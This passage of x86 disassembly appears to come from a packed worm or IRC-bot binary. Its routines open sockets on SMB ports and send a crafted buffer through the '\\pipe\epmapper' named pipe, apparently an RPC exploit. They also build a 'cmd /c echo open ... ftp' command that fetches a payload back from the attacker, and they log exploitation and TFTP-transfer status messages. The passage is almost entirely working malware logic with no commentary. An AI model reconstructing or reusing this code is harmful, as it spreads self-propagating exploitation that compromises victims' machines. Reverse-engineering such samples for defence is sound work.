ptr [ebp+8] call dword_4CBA24 ; send cmp eax, esi jz short loc_40D567 xor bl, bl jmp short loc_40D569 ; --------------------------------------------------------------------------- loc_40D567: ; CODE XREF: sub_40D4E2+7Fj mov bl, 1 loc_40D569: ; CODE XREF: sub_40D4E2+83j push edi call sub_41BA91 pop ecx loc_40D570: ; CODE XREF: sub_40D4E2+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_40D977 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_40D977 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40D4E2 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h and byte ptr [ebp-420h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Fh] push 8Fh rep stosd stosw stosb lea eax, [ebp-420h] push offset sub_432300 push eax call sub_41CD20 add esp, 0Ch mov eax, offset byte_429108 push eax push eax movzx eax, word ptr dword_4CB710 push eax push dword ptr [ebp+8] call sub_40AA06 pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... lea eax, [ebp-391h] push 400h push eax call sub_41C360 add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset sub_432198 push eax call sub_40CD9E xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_40D63B xor eax, eax jmp loc_40D767 ; --------------------------------------------------------------------------- loc_40D63B: ; CODE XREF: .packed:0040D632j mov [ebp-0Ch], esi loc_40D63E: ; CODE XREF: .packed:0040D73Ej test esi, esi jnz loc_40D744 push 6 push 1 push 2 call dword_427204 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40D72C xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_4CB9D4 ; htons mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_4CBA14 ; inet_addr mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_4CB97C ; connect cmp eax, 0FFFFFFFFh jz loc_40D721 cmp dword ptr [ebp+0A8h], 50h jnz short loc_40D6E9 mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_40D977 lea eax, [ebp+0Ch] push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_40D9B3 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D4E2 add esp, 1Ch jmp short loc_40D71E ; --------------------------------------------------------------------------- loc_40D6E9: ; CODE XREF: .packed:0040D6A7j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_40D703 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D2A2 jmp short loc_40D71B ; --------------------------------------------------------------------------- loc_40D703: ; CODE XREF: .packed:0040D6F3j cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_40D721 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D1C8 loc_40D71B: ; CODE XREF: .packed:0040D701j add esp, 0Ch loc_40D71E: ; CODE XREF: .packed:0040D6E7j movzx esi, al loc_40D721: ; CODE XREF: .packed:0040D69Aj ; .packed:0040D70Dj push ebx call dword_4CBA6C ; closesocket test esi, esi jnz short loc_40D737 loc_40D72C: ; CODE XREF: .packed:0040D657j push 3E8h call dword_427080 ; Sleep loc_40D737: ; CODE XREF: .packed:0040D72Aj inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40D63E loc_40D744: ; CODE XREF: .packed:0040D640j lea ecx, [ebp-8] call sub_40CBC3 test esi, esi jz short loc_40D765 mov eax, [ebp+0B0h] shl eax, 6 inc dword_431800[eax] lea eax, dword_431800[eax] loc_40D765: ; CODE XREF: .packed:0040D74Ej mov eax, esi loc_40D767: ; CODE XREF: .packed:0040D636j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A88 loc_40D76C: ; CODE XREF: sub_426A88+3j ; .packed:00426AA1j ... push 1 call sub_40D977 retn ; END OF FUNCTION CHUNK FOR sub_426A88 ; =============== S U B R O U T I N E ======================================= sub_40D774 proc near ; CODE XREF: sub_40D340+110p ; sub_40D340+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_427678 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D78E call sub_42629A loc_40D78E: ; CODE XREF: sub_40D774+13j test ebx, ebx jbe short loc_40D7C5 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D8F2 test al, al jz short loc_40D7C5 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_41BF70 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D7C5: ; CODE XREF: sub_40D774+1Cj ; sub_40D774+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D774 endp ; =============== S U B R O U T I N E ======================================= sub_40D7CD proc near ; CODE XREF: sub_40D340+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_427678 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D7E7 call sub_42629A loc_40D7E7: ; CODE XREF: sub_40D7CD+13j test ebx, ebx jbe short loc_40D81C mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D8F2 test al, al jz short loc_40D81C mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_41CD20 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40D81C: ; CODE XREF: sub_40D7CD+1Cj ; sub_40D7CD+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D7CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D824 proc near ; CODE XREF: sub_40D340+17Cp ; sub_4261B0+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40D83C call sub_426173 loc_40D83C: ; CODE XREF: sub_40D824+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40D84E mov esi, [ebp+arg_8] loc_40D84E: ; CODE XREF: sub_40D824+25j cmp edi, ebx jnz short loc_40D870 push dword_427678 add esi, ecx mov ecx, edi push esi call sub_40D9E8 push [ebp+arg_4] mov ecx, edi push 0 call sub_40D9E8 jmp short loc_40D8E9 ; --------------------------------------------------------------------------- loc_40D870: ; CODE XREF: sub_40D824+2Cj test esi, esi jbe short loc_40D8B3 cmp esi, eax jnz short loc_40D8B3 mov eax, [ebx+4] test eax, eax jnz short loc_40D884 mov eax, offset dword_427688 loc_40D884: ; CODE XREF: sub_40D824+59j cmp byte ptr [eax-1], 0FEh jnb short loc_40D8B3 push 1 mov ecx, edi call sub_40D977 mov eax, [ebx+4] test eax, eax jnz short loc_40D89F mov eax, offset dword_427688 loc_40D89F: ; CODE XREF: sub_40D824+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_40D8E9 ; --------------------------------------------------------------------------- loc_40D8B3: ; CODE XREF: sub_40D824+4Ej ; sub_40D824+52j ... push 1 push esi mov ecx, edi call sub_40D8F2 test al, al jz short loc_40D8E9 mov eax, [ebx+4] test eax, eax jnz short loc_40D8CD mov eax, offset dword_427688 loc_40D8CD: ; CODE XREF: sub_40D824+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_41CD20 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_40D8E9: ; CODE XREF: sub_40D824+4Aj ; sub_40D824+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40D824 endp ; =============== S U B R O U T I N E ======================================= sub_40D8F2 proc near ; CODE XREF: sub_40D340+3Dp ; sub_40D774+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_40D904 call sub_42629A loc_40D904: ; CODE XREF: sub_40D8F2+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_40D92D mov al, [ecx-1] cmp al, dl jz short loc_40D92D cmp al, 0FFh jz short loc_40D92D cmp edi, edx jnz short loc_40D968 dec al push edx mov [ecx-1], al loc_40D922: ; CODE XREF: sub_40D8F2+47j mov ecx, esi call sub_40D977 loc_40D929: ; CODE XREF: sub_40D8F2+4Bj ; sub_40D8F2+52j xor al, al jmp short loc_40D972 ; --------------------------------------------------------------------------- loc_40D92D: ; CODE XREF: sub_40D8F2+19j ; sub_40D8F2+20j ... cmp edi, edx jnz short loc_40D946 cmp [esp+8+arg_4], dl jz short loc_40D93B push 1 jmp short loc_40D922 ; --------------------------------------------------------------------------- loc_40D93B: ; CODE XREF: sub_40D8F2+43j cmp ecx, edx jz short loc_40D929 mov [esi+8], edx mov [ecx], dl jmp short loc_40D929 ; --------------------------------------------------------------------------- loc_40D946: ; CODE XREF: sub_40D8F2+3Dj cmp [esp+8+arg_4], dl jz short loc_40D963 mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_40D958 cmp eax, edi jnb short loc_40D970 loc_40D958: ; CODE XREF: sub_40D8F2+60j push 1 mov ecx, esi call sub_40D977 jmp short loc_40D968 ; --------------------------------------------------------------------------- loc_40D963: ; CODE XREF: sub_40D8F2+58j cmp [esi+0Ch], edi jnb short loc_40D970 loc_40D968: ; CODE XREF: sub_40D8F2+28j ; sub_40D8F2+6Fj push edi mov ecx, esi call sub_40DA4F loc_40D970: ; CODE XREF: sub_40D8F2+64j ; sub_40D8F2+74j mov al, 1 loc_40D972: ; CODE XREF: sub_40D8F2+39j pop edi pop esi retn 8 sub_40D8F2 endp ; =============== S U B R O U T I N E ======================================= sub_40D977 proc near ; CODE XREF: sub_40D340+1Fp ; sub_40D340+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_40D9A3 mov eax, [esi+4] test eax, eax jz short loc_40D9A3 lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_40D99C cmp al, 0FFh jz short loc_40D99C dec al mov [ecx], al jmp short loc_40D9A3 ; --------------------------------------------------------------------------- loc_40D99C: ; CODE XREF: sub_40D977+19j ; sub_40D977+1Dj push ecx call sub_41D65F pop ecx loc_40D9A3: ; CODE XREF: sub_40D977+8j ; sub_40D977+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_40D977 endp ; =============== S U B R O U T I N E ======================================= sub_40D9B3 proc near ; CODE XREF: .packed:0040D6D3p ; sub_40DB0C+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_40D8F2 test al, al jz short loc_40D9E1 push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_41CD20 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D9E1: ; CODE XREF: sub_40D9B3+12j mov eax, esi pop edi pop esi retn 8 sub_40D9B3 endp ; =============== S U B R O U T I N E ======================================= sub_40D9E8 proc near ; CODE XREF: sub_40D824+39p ; sub_40D824+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40D9FB call sub_426173 loc_40D9FB: ; CODE XREF: sub_40D9E8+Cj mov ecx, edi call sub_40DB0C mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_40DA11 mov ebx, eax loc_40DA11: ; CODE XREF: sub_40D9E8+25j test ebx, ebx jbe short loc_40DA47 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_41D670 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40D8F2 test al, al jz short loc_40DA47 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_40DA47: ; CODE XREF: sub_40D9E8+2Bj ; sub_40D9E8+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40D9E8 endp ; =============== S U B R O U T I N E ======================================= sub_40DA4F proc near ; CODE XREF: sub_40D8F2+79p mov eax, offset loc_426AD0 call sub_41D640 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_40DA75 mov edi, [ebp+8] loc_40DA75: ; CODE XREF: sub_40DA4F+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_40DA82 xor eax, eax loc_40DA82: ; CODE XREF: sub_40DA4F+2Fj push eax call sub_41D9A5 pop ecx mov [ebp+8], eax jmp short loc_40DAB3 ; --------------------------------------------------------------------------- loc_40DA8E: ; DATA XREF: .packed:00427F84o mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40DA9D xor eax, eax loc_40DA9D: ; CODE XREF: sub_40DA4F+4Aj push eax call sub_41D9A5 mov [ebp+8], eax pop ecx mov eax, offset loc_40DAAD retn ; --------------------------------------------------------------------------- loc_40DAAD: ; DATA XREF: sub_40DA4F+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_40DAB3: ; CODE XREF: sub_40DA4F+3Dj mov eax, [esi+8] test eax, eax jbe short loc_40DAD1 cmp eax, edi jbe short loc_40DAC0 mov eax, edi loc_40DAC0: ; CODE XREF: sub_40DA4F+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_41CD20 add esp, 0Ch loc_40DAD1: ; CODE XREF: sub_40DA4F+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_40D977 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_40DAF1 mov edi, ebx loc_40DAF1: ; CODE XREF: sub_40DA4F+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40DA4F endp ; =============== S U B R O U T I N E ======================================= sub_40DB0C proc near ; CODE XREF: sub_40D9E8+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_40DB39 mov al, [esi-1] test al, al jz short loc_40DB39 cmp al, 0FFh jz short loc_40DB39 push 1 call sub_40D977 push esi call sub_41B9C0 pop ecx push eax push esi mov ecx, edi call sub_40D9B3 loc_40DB39: ; CODE XREF: sub_40DB0C+9j ; sub_40DB0C+10j ... pop edi pop esi retn sub_40DB0C endp ; =============== S U B R O U T I N E ======================================= sub_40DB3C proc near ; DATA XREF: .packed:00429008o test byte_4DC018, 1 jnz short loc_40DB4C or byte_4DC018, 1 loc_40DB4C: ; CODE XREF: sub_40DB3C+7j jmp $+5 push offset nullsub_1 call sub_41DA20 pop ecx retn sub_40DB3C endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DB5E proc near ; CODE XREF: .packed:0040DF74p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 354h push ebx push esi push edi mov esi, offset off_432948 lea edi, [ebp+var_C] mov ecx, 8Ah movsd movsd movsd mov esi, offset asc_432940 ; "\\\\" lea edi, [ebp+var_354] movsd movsw xor eax, eax lea edi, [ebp+var_34E] rep stosd stosw mov al, byte_43DB88 push 45h mov [ebp+var_124], al pop ecx xor eax, eax lea edi, [ebp+var_123] rep stosd stosw stosb lea eax, [ebp+var_124] push 0FFh push eax push 0FFFFFFFFh push [ebp+arg_0] xor edi, edi push edi push edi call dword_4270E8 ; MultiByteToWideChar lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_41DA61 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_41DA61 mov esi, [ebp+arg_4] lea eax, [ebp+var_354] add esp, 10h mov [esi+14h], eax mov eax, offset dword_4CE6F4 push edi push eax push eax push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+1Ch], edi call dword_4CBA74 cmp eax, 5 mov ebx, 4C3h jz short loc_40DC22 cmp eax, ebx jnz short loc_40DC2C loc_40DC22: ; CODE XREF: sub_40DB5E+BEj push edi push edi push edi push esi call dword_4CBA74 loc_40DC2C: ; CODE XREF: sub_40DB5E+C2j cmp eax, 5 jz short loc_40DC3A cmp eax, ebx jz short loc_40DC3A push 1 pop eax jmp short loc_40DC3C ; --------------------------------------------------------------------------- loc_40DC3A: ; CODE XREF: sub_40DB5E+D1j ; sub_40DB5E+D5j xor eax, eax loc_40DC3C: ; CODE XREF: sub_40DB5E+DAj pop edi pop esi pop ebx leave retn sub_40DB5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DC41 proc near ; CODE XREF: .packed:0040DFC6p ; .packed:0040E0A6p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 354h push esi push edi mov esi, offset off_432948 lea edi, [ebp+var_C] movsd movsd movsd mov esi, offset asc_432940 ; "\\\\" lea edi, [ebp+var_354] movsd movsw mov ecx, 8Ah xor eax, eax lea edi, [ebp+var_34E] push 45h rep stosd stosw mov al, byte_43DB88 pop ecx mov [ebp+var_124], al xor eax, eax lea edi, [ebp+var_123] push 0FFh rep stosd stosw stosb lea eax, [ebp+var_124] xor esi, esi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push esi call dword_4270E8 ; MultiByteToWideChar lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_41DA61 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_41DA61 add esp, 10h loc_40DCD2: ; CODE XREF: sub_40DC41+AFj push esi lea eax, [ebp+var_354] push esi push eax call dword_4CB90C test eax, eax jz short loc_40DCF2 push 7D0h call dword_427080 ; Sleep jmp short loc_40DCD2 ; --------------------------------------------------------------------------- loc_40DCF2: ; CODE XREF: sub_40DC41+A2j push 1 pop eax pop edi pop esi leave retn sub_40DC41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DCF9 proc near ; CODE XREF: .packed:0040DFF5p ; .packed:0040E133p var_3004 = byte ptr -3004h var_2004 = byte ptr -2004h var_1FE0 = byte ptr -1FE0h var_1FD4 = byte ptr -1FD4h var_1F2D = byte ptr -1F2Dh var_1004 = byte ptr -1004h var_FFC = dword ptr -0FFCh var_FF4 = dword ptr -0FF4h var_F84 = dword ptr -0F84h var_F80 = dword ptr -0F80h var_F50 = dword ptr -0F50h var_F4C = dword ptr -0F4Ch var_F34 = dword ptr -0F34h var_E78 = dword ptr -0E78h var_CA4 = dword ptr -0CA4h var_C9C = dword ptr -0C9Ch var_C94 = byte ptr -0C94h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h arg_C4 = dword ptr 0CCh push ebp mov ebp, esp mov eax, 3004h call sub_41C500 push esi push edi push offset byte_429108 mov esi, 0A7h push [ebp+arg_0] mov [ebp+var_4], esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_3004] push 1000h push eax call sub_40B22B mov edi, eax add esp, 10h test edi, edi jz loc_40DF48 push ebx mov ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX" push 30h lea eax, [ebp+var_2004] push ebx push eax call sub_41CD20 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_41BF70 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+var_1F2D] push eax call sub_41CD20 add esp, 24h lea esi, [edi+0D7h] loc_40DD7E: ; CODE XREF: sub_40DCF9+D3j mov eax, esi push 10h cdq pop ecx idiv ecx cmp edx, 0Ch jz short loc_40DDCE mov esi, [ebp+var_4] push 30h lea eax, [ebp+var_2004] inc esi push ebx push eax mov [ebp+var_4], esi call sub_41CD20 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_41BF70 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+esi+var_1FD4] push eax call sub_41CD20 add esp, 24h lea esi, [esi+edi+30h] jmp short loc_40DD7E ; --------------------------------------------------------------------------- loc_40DDCE: ; CODE XREF: sub_40DCF9+90j cmp [ebp+arg_C4], 0 jz short loc_40DDE9 cmp [ebp+arg_C0], 3 jz short loc_40DDF2 cmp [ebp+arg_C0], 0 jmp short loc_40DDF0 ; --------------------------------------------------------------------------- loc_40DDE9: ; CODE XREF: sub_40DCF9+DCj cmp [ebp+arg_C0], 3 loc_40DDF0: ; CODE XREF: sub_40DCF9+EEj jnz short loc_40DDFB loc_40DDF2: ; CODE XREF: sub_40DCF9+E5j push 4 push offset dword_43293C jmp short loc_40DE02 ; --------------------------------------------------------------------------- loc_40DDFB: ; CODE XREF: sub_40DCF9:loc_40DDF0j push 4 push offset dword_432938 loc_40DE02: ; CODE XREF: sub_40DCF9+100j lea eax, [ebp+var_1FE0] push eax call sub_41CD20 add esp, 0Ch lea eax, [ebp+var_1004] push 360h push offset dword_432470 push eax call sub_41CD20 push 10h lea eax, [ebp+var_CA4] push offset dword_4327D4 push eax call sub_41CD20 lea eax, [ebp+var_2004] push esi push eax lea eax, [ebp+var_C94] push eax call sub_41CD20 lea edi, [esi+370h] push 3Ch push offset off_4327E8 lea eax, [ebp+edi+var_1004] push eax call sub_41CD20 add edi, 3Ch push 30h push offset dword_432828 lea eax, [ebp+edi+var_1004] push eax call sub_41CD20 mov eax, esi add edi, 30h cdq sub eax, edx sar eax, 1 add [ebp+var_CA4], eax add [ebp+var_C9C], eax mov eax, [ebp+var_FFC] lea eax, [eax+esi-0Ch] mov [ebp+var_FFC], eax mov eax, [ebp+var_FF4] lea eax, [eax+esi-0Ch] mov [ebp+var_FF4], eax mov eax, [ebp+var_F84] lea eax, [eax+esi-0Ch] mov [ebp+var_F84], eax mov eax, [ebp+var_F80] lea eax, [eax+esi-0Ch] mov [ebp+var_F80], eax mov eax, [ebp+var_F50] lea eax, [eax+esi-0Ch] mov [ebp+var_F50], eax mov eax, [ebp+var_F4C] lea eax, [eax+esi-0Ch] mov [ebp+var_F4C], eax mov eax, [ebp+var_F34] lea eax, [eax+esi-0Ch] mov [ebp+var_F34], eax mov eax, [ebp+var_E78] lea eax, [eax+esi-0Ch] lea esi, [edi+1] push esi mov [ebp+var_E78], eax call sub_41BEB5 add esp, 40h mov ebx, eax push esi push 0 push ebx call sub_41BF70 lea eax, [ebp+var_1004] push edi push eax push ebx call sub_41CD20 mov eax, [ebp+arg_BC] add esp, 18h mov [eax], edi mov eax, ebx pop ebx loc_40DF48: ; CODE XREF: sub_40DCF9+3Ej pop edi pop esi leave retn sub_40DCF9 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 1338h call sub_41C500 cmp dword ptr [ebp+0A8h], 1BDh push ebx push esi push edi jnz loc_40E0BA lea eax, [ebp-34h] push eax lea eax, [ebp+0Ch] push eax call sub_40DB5E pop ecx test eax, eax pop ecx jz loc_40E1CA lea eax, [ebp+0Ch] push eax lea eax, [ebp-338h] push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper" push eax call sub_41C266 add esp, 0Ch xor ebx, ebx lea eax, [ebp-338h] push ebx push 80h push 3 push ebx push 1 push 0C0000000h push eax call dword_4270F8 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_40DFD1 loc_40DFC2: ; CODE XREF: .packed:0040E072j lea eax, [ebp+0Ch] push eax call sub_40DC41 pop ecx jmp loc_40E1CA ; --------------------------------------------------------------------------- loc_40DFD1: ; CODE XREF: .packed:0040DFC0j lea eax, [ebp+0Ch] push 2 push eax call sub_4182CD pop ecx lea esi, [ebp+8] pop ecx push 1 push eax lea eax, [ebp-10h] push eax sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DCF9 add esp, 0C8h cmp eax, ebx mov [ebp-8], eax jz short loc_40E069 mov edi, 186A0h push edi call sub_41BEB5 mov esi, eax push edi push ebx push esi call sub_41BF70 add esp, 10h lea eax, [ebp-0Ch] mov edi, 2710h push ebx push eax push edi push esi push 48h push offset dword_432424 push dword ptr [ebp-4] call dword_4270F4 ; TransactNamedPipe cmp byte ptr [esi+2], 0Ch jnz short loc_40E059 lea eax, [ebp-14h] push ebx push eax push dword ptr [ebp-10h] push dword ptr [ebp-8] push dword ptr [ebp-4] call dword_4270F0 ; WriteFile test eax, eax jnz short loc_40E077 loc_40E059: ; CODE XREF: .packed:0040E03Fj push esi call sub_41BA91 push dword ptr [ebp-8] call sub_41BA91 pop ecx pop ecx loc_40E069: ; CODE XREF: .packed:0040E005j push dword ptr [ebp-4] call dword_427070 ; CloseHandle jmp loc_40DFC2 ; --------------------------------------------------------------------------- loc_40E077: ; CODE XREF: .packed:0040E057j lea eax, [ebp-0Ch] push ebx push eax push edi push esi push dword ptr [ebp-4] call dword_4270EC ; ReadFile push dword ptr [ebp-8] mov edi, eax call sub_41BA91 push esi call sub_41BA91 pop ecx pop ecx push dword ptr [ebp-4] call dword_427070 ; CloseHandle lea eax, [ebp+0Ch] push eax call sub_40DC41 cmp edi, 1 pop ecx jnz loc_40E1DE jmp loc_40E1CA ; --------------------------------------------------------------------------- loc_40E0BA: ; CODE XREF: .packed:0040DF66j lea eax, [ebp+0Ch] push 1 push eax call sub_4182CD mov esi, eax pop ecx cmp esi, 1 pop ecx jz loc_40E1CA xor ebx, ebx push ebx push 1 push 2 call dword_4CBA54 ; socket cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_40E1CA push 10h lea eax, [ebp-24h] push ebx push eax call sub_41BF70 add esp, 0Ch mov word ptr [ebp-24h], 2 push dword ptr [ebp+0A8h] call dword_4CB9D4 ; htons mov [ebp-22h], ax lea eax, [ebp+0Ch] push eax call dword_4CBA14 ; inet_addr mov [ebp-20h], eax push ebx lea eax, [ebp-0Ch] push esi push eax lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DCF9 mov esi, eax add esp, 0C8h cmp esi, ebx mov [ebp-8], esi jnz short loc_40E14C push dword ptr [ebp-4] jmp short loc_40E1C4 ; --------------------------------------------------------------------------- loc_40E14C: ; CODE XREF: .packed:0040E145j mov edi, [ebp-4] lea eax, [ebp-24h] push 10h push eax push edi call dword_4CB97C ; connect cmp eax, 0FFFFFFFFh jnz short loc_40E164 loc_40E161: ; CODE XREF: .packed:0040E176j push esi jmp short loc_40E1BD ; --------------------------------------------------------------------------- loc_40E164: ; CODE XREF: .packed:0040E15Fj push ebx push 48h push offset dword_432424 push edi call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jz short loc_40E161 mov esi, 1000h push ebx lea eax, [ebp-1338h] push esi push eax push edi call dword_4CB9EC ; recv push ebx push dword ptr [ebp-0Ch] push dword ptr [ebp-8] push edi call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jnz short loc_40E1A5 push dword ptr [ebp-8] jmp short loc_40E1BD ; --------------------------------------------------------------------------- loc_40E1A5: ; CODE XREF: .packed:0040E19Ej push ebx lea eax, [ebp-1338h] push esi push eax push edi call dword_4CB9EC ; recv push dword ptr [ebp-8] cmp eax, 0FFFFFFFFh jnz short loc_40E1D1 loc_40E1BD: ; CODE XREF: .packed:0040E162j ; .packed:0040E1A3j call sub_41BA91 pop ecx push edi loc_40E1C4: ; CODE XREF: .packed:0040E14Aj call dword_4CBA6C ; closesocket loc_40E1CA: ; CODE XREF: .packed:0040DF7Dj ; .packed:0040DFCCj ... xor eax, eax jmp loc_40E28D ; --------------------------------------------------------------------------- loc_40E1D1: ; CODE XREF: .packed:0040E1BBj call sub_41BA91 pop ecx push edi call dword_4CBA6C ; closesocket loc_40E1DE: ; CODE XREF: .packed:0040E0AFj lea eax, [ebp+0Ch] push eax lea eax, [ebp-234h] push offset aTftpFileTransf ; "[TFTP]: File transfer complete to IP: %"... push eax call sub_41C266 add esp, 0Ch xor esi, esi loc_40E1F8: ; CODE XREF: .packed:0040E218j lea eax, [ebp-234h] push eax call sub_415E19 test eax, eax pop ecx jnz short loc_40E21C push 1388h call dword_427080 ; Sleep inc esi cmp esi, 6 jl short loc_40E1F8 jmp short loc_40E28A ; --------------------------------------------------------------------------- loc_40E21C: ; CODE XREF: .packed:0040E207j lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] shl eax, 6 add eax, offset aSymantec ; "Symantec" push eax lea eax, [ebp-234h] push offset aSExploitingIpS ; 